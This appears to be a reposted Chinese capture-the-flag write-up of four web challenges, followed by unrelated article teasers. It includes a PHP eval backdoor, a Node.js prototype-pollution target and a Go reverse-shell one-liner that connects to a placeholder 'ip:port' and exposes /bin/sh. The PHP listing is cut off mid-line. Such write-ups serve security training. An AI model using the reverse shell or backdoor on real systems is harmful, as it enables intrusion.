NSSROUND#8[Basic]

news2024/9/24 13:21:38

文章目录

  • 一、[NSSRound#8 Basic]MyDoor
  • 二、[NSSRound#8 Basic]Upload_gogoggo
  • 三、[NSSRound#8 Basic]MyPage
  • 四、[NSSRound#8 Basic]ez_node


一、[NSSRound#8 Basic]MyDoor

在这里插入图片描述

<?php
error_reporting(0);

if (isset($_GET['N_S.S'])) {
    eval($_GET['N_S.S']);
}

if(!isset($_GET['file'])) {
    header('Location:/index.php

注意要把参数_变成[ 否则后面的.会变成下划线。

在这里插入图片描述

二、[NSSRound#8 Basic]Upload_gogoggo

在这里插入图片描述

上传的文件会被go自动执行,使用go反弹shell。
package main;import"os/exec";import"net";func main(){c,_:=net.Dial(“tcp”,“ip:port”);cmd:=exec.Command(“/bin/sh”);cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}’
然后flag找半天,在/home/galf里,base64解密即可

三、[NSSRound#8 Basic]MyPage

在这里插入图片描述

有waf,/var/www/html出现就会waf,但是直接又读不了index.php,尝试用/proc/self/root连接回/使用脏数据绕过看看。

在这里插入图片描述

四、[NSSRound#8 Basic]ez_node

看到这道题,看到merge就知道和原型链污染有关,但是node.js基础太差了,很懵,也搞不出来,所以只能看看出题人WP了
在这里插入图片描述

分成了一个submit和一个上交文件两个模块,源码在附件可以看到

const express = require("express");
const path = require("path");
const fs = require("fs");
const multer = require("multer");

const PORT = process.env.port || 3000
const app = express();

global = "global"

app.listen(PORT, () => {
    console.log(`listen at ${PORT}`);
});

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}


let objMulter = multer({ dest: "./upload" });
app.use(objMulter.any());

app.use(express.static("./public"));

app.post("/upload", (req, res) => {
    try{
        let oldName = req.files[0].path;
        let newName = req.files[0].path + path.parse(req.files[0].originalname).ext;
        fs.renameSync(oldName, newName);
        res.send({
            err: 0,
            url:
            "./upload/" +
            req.files[0].filename +
            path.parse(req.files[0].originalname).ext
        });
    }
    catch(error){
        res.send(require('./err.js').getRandomErr())
    }
});

app.post('/pollution', require('body-parser').json(), (req, res) => {
    let data = {};
    try{
        merge(data, req.body);
        res.send('Register successfully!tql')
        require('./err.js').getRandomErr()
    }
    catch(error){
        res.send(require('./err.js').getRandomErr())
    }
})
obj={
    errDict: [
        '发生肾么事了!!!发生肾么事了!!!',
        '随意污染靶机会寄的,建议先本地测',
        '李在干神魔👹',
        '真寄了就重开把',
    ],
    getRandomErr:() => {
        return obj.errDict[Math.floor(Math.random() * 4)]
    }
}
module.exports = obj

好像大概就是通过merge原型链污染,使得exports污染为{“./err”:“上传的文件”},然后再使得报错,触发上传文件实现RCE,具体分析可以看出题人WP。

在这里插入图片描述

出题人WP

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/340755.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何备考系统集成项目管理工程师?

首先了解考试信息&#xff0c;做好备考计划&#xff0c;准备好备考资料等~现在网上也有很多的视频教程&#xff0c;跟着一起学习&#xff0c;大概一周的时间就能过完。如果时间紧张&#xff0c;可以直接抓重点章节真题的复习。考试重点诺&#xff0c;重点章节标红了的&#xff…

NSACE高级WEB安全专家

目录信息收集基本信息收集域名注册信息收集子域名信息收集IP查询系统鉴定端口扫描搜索引擎信息收集 信息收集包括基本信息收集和搜索引擎收集 基本信息收集 基本信息收集方式如下&#xff1a; 域名注册信息查询&#xff1a;例如www.baidu.com 的注册信息&#xff0c;包含注…

vue3的核心知识点合集

Vue3 中文文档(新) Vue.js - 渐进式 JavaScript 框架 | Vue.js vue3的优点&#xff1a; 首次渲染更快diff 算法更快内存占用更少打包体积更小更好的 Typescript 支持Composition API 组合 API首先理解一下vite 构建工具&#xff1a; vite是一种新型前端构建工具&#xff0c;…

解答vue组件中一级组件可不可以作二级组件这个疑惑

引子 大家请看如下情况&#xff0c;我需要做一个项目&#xff0c;首页上的“产品介绍”部分同样也是导航导向的一部分&#xff1a; 首页中的部分&#xff1a; 导航栏导向的部分&#xff1a; 这里我要表达的是&#xff0c;组件Case在导航栏中属于一级路由&#xff0c;而在首…

解决idea出现的java.lang.OutOfMemoryError: Java heap space的问题

文章目录1. 复现问题2. 分析问题3. 解决问题4. 补充解决java.lang.OutOfMemoryError: PermGen space问题1. 复现问题 今天使用idea开发时&#xff0c;突然报出如下错误&#xff1a; Exception in thread "main" java.lang.OutOfMemoryError: Java heap spaceat org.…

【测试开发】web 自动化测试 --- selenium4

目录1. 什么是自动化为什么要做自动化2. 为什么选择selenium作为我使用的web自动化工具3. 什么是驱动&#xff1f;驱动的工作原理是什么5. 第一个自动化程序演示6. selenium基本语法6.1 定位元素的方法6.2 操作页面元素6.3 等待6.4 信息打印获取当前页面句柄&#xff0c;窗口切…

vue脚手架安装详细

一、vue脚手架安装命令npm i -g vue/cli 或 yarn global add vue/cli安装上面的工具&#xff0c;安装后运行 vue --version &#xff0c;如果看到版本号&#xff0c;说明安装成功或 vue -V工具安装好之后&#xff0c;就可以安装带有webpack配置的vue项目了。创建项目之前&#…

基于java的学生成绩管理系统 完整代码 毕业设计

完整项目代码&#xff1a;https://download.csdn.net/download/qq_38735017/87382417下面是程序界面的详情&#xff1a;分享不易 谢谢&#xff01;主界面首先是开始界面&#xff0c;功能选择窗口&#xff0c;包含 5 个功能按钮清除数据功能清空数据库数据&#xff08;若出现 bu…

问题状态(Conditioning of a problem)

Conditioning of a problem该博客是学习《Numerical Linear Algebra with Applications Using MATLAB》的一些总结&#xff0c;仅供学习使用。 通常即使使用一个稳定的算法来解决一个问题&#xff0c;该问题对数据中小的改变或扰动仍然是敏感的。这些扰动可能来自舍入误差(roun…

Python与Arcgis 获取图像信息

文章目录 一、简介二、实现代码三、实现效果参考资料一、简介 这里实现一个很简单的功能,批量的获取图像的相关信息,如影像格式、y分辨率等等,并将这些信息写入到一个csv文件中,同时也会为每个图像生成相应的矩形掩模面。 二、实现代码 在真正执行代码之前,我们首先配置一…

PAT——1111 对称日

央视新闻发了一条微博&#xff0c;指出 2020 年有个罕见的“对称日”&#xff0c;即 2020 年 2 月 2 日&#xff0c;按照 年年年年月月日日 格式组成的字符串 20200202 是完全对称的。 给定任意一个日期&#xff0c;本题就请你写程序判断一下&#xff0c;这是不是一个对称日&a…

DDD 参考工程架构

1 背景 不同团队落地DDD所采取的应用架构风格可能不同&#xff0c;并没有统一的、标准的DDD工程架构。有些团队可能遵循经典的DDD四层架构&#xff0c;或改进的DDD四层架构&#xff0c;有些团队可能综合考虑分层架构、整洁架构、六边形架构等多种架构风格&#xff0c;有些在实…

【JUC并发编程】ArrayBlockingQueue和LinkedBlockingQueue源码2分钟看完

文章目录1、BlockingQueue1&#xff09;接口方法2&#xff09;阻塞队列分类2、ArrayBlockingQueue1&#xff09;构造函数2&#xff09;put()入队3&#xff09;take()出队3、LinkedBlockingQueue1&#xff09;构造函数2&#xff09;put()入队3&#xff09;take()出队1、Blocking…

Android Dalvik虚拟机 对象创建内存分配流程

前言 本篇文章介绍我们在日常开发使用Java时new对象的时&#xff0c;Dalvik在堆上的内存分配是如何分配的。内存又和gc相关&#xff0c;下篇文章会分析Dalvik的gc流程。 Dalvik内存管理 内存碎片问题其实是一个通用的问题&#xff0c;不单止Dalvik虚拟机在Java堆为对象分配内…

Python中的类和对象(7)

1.私有变量 在大多数面向对象的编程语言中&#xff0c;都存在着私有变量&#xff08;private variable&#xff09;的概念&#xff0c;所谓私有变量&#xff0c;就是指通过某种手段&#xff0c;使得对象中的属性或方法无法被外部所访问。 Python 对于私有变量的实现是引入了一…

MySQL数据库调优————数据库调优维度及测试数据准备

MySQL性能优化金字塔法则 不合理的需求&#xff0c;会造成很多问题。&#xff08;比如未分页&#xff0c;数据需要多表联查等&#xff09;做架构设计的时候&#xff0c;应充分考虑业务的实际情况&#xff0c;考虑好数据库的各种选择&#xff08;比如是否要读写分离&#xff0c;…

Spring IOC Bean标签属性介绍(内含教学视频+源代码)

Spring IOC Bean标签属性介绍&#xff08;内含教学视频源代码&#xff09; 教学视频源代码下载链接地址&#xff1a;https://download.csdn.net/download/weixin_46411355/87442649 目录Spring IOC Bean标签属性介绍&#xff08;内含教学视频源代码&#xff09;教学视频源代码…

jetson nano(ubuntu)安装Cmake

文章目录安装环境一.命令行安装二.Cmake源码编译安装安装环境 jetson nano 系统&#xff1a;4.6.1 一.命令行安装 sudo apt install cmake这种直接安装cmake的方式&#xff0c;其实安装的版本都太老了&#xff0c;这种方式不推荐 二.Cmake源码编译安装 更新一下系统软件 su…

子词嵌入,词的相似性和类比任务

fastText模型提出了一种子词嵌入方法&#xff1a;基于word2vec中的跳元模型&#xff0c;它将中心词表示为其子词向量之和。 字节对编码执行训练数据集的统计分析&#xff0c;以发现词内的公共符号。作为一种贪心方法&#xff0c;字节对编码迭代地合并最频繁的连续符号对。 子…

文献阅读:Finetuned Language Models Are Zero-Shot Learners

文献阅读&#xff1a;Finetuned Language Models Are Zero-Shot Learners 1. 文章简介2. 方法介绍3. 实验 1. 数据集整理2. 基础实验3. 消解实验 1. finetune任务数量2. 模型size3. Instruct Tuning4. Few-Shot5. Prompt Tuning 4. 结论 文献链接&#xff1a;https://arxiv.o…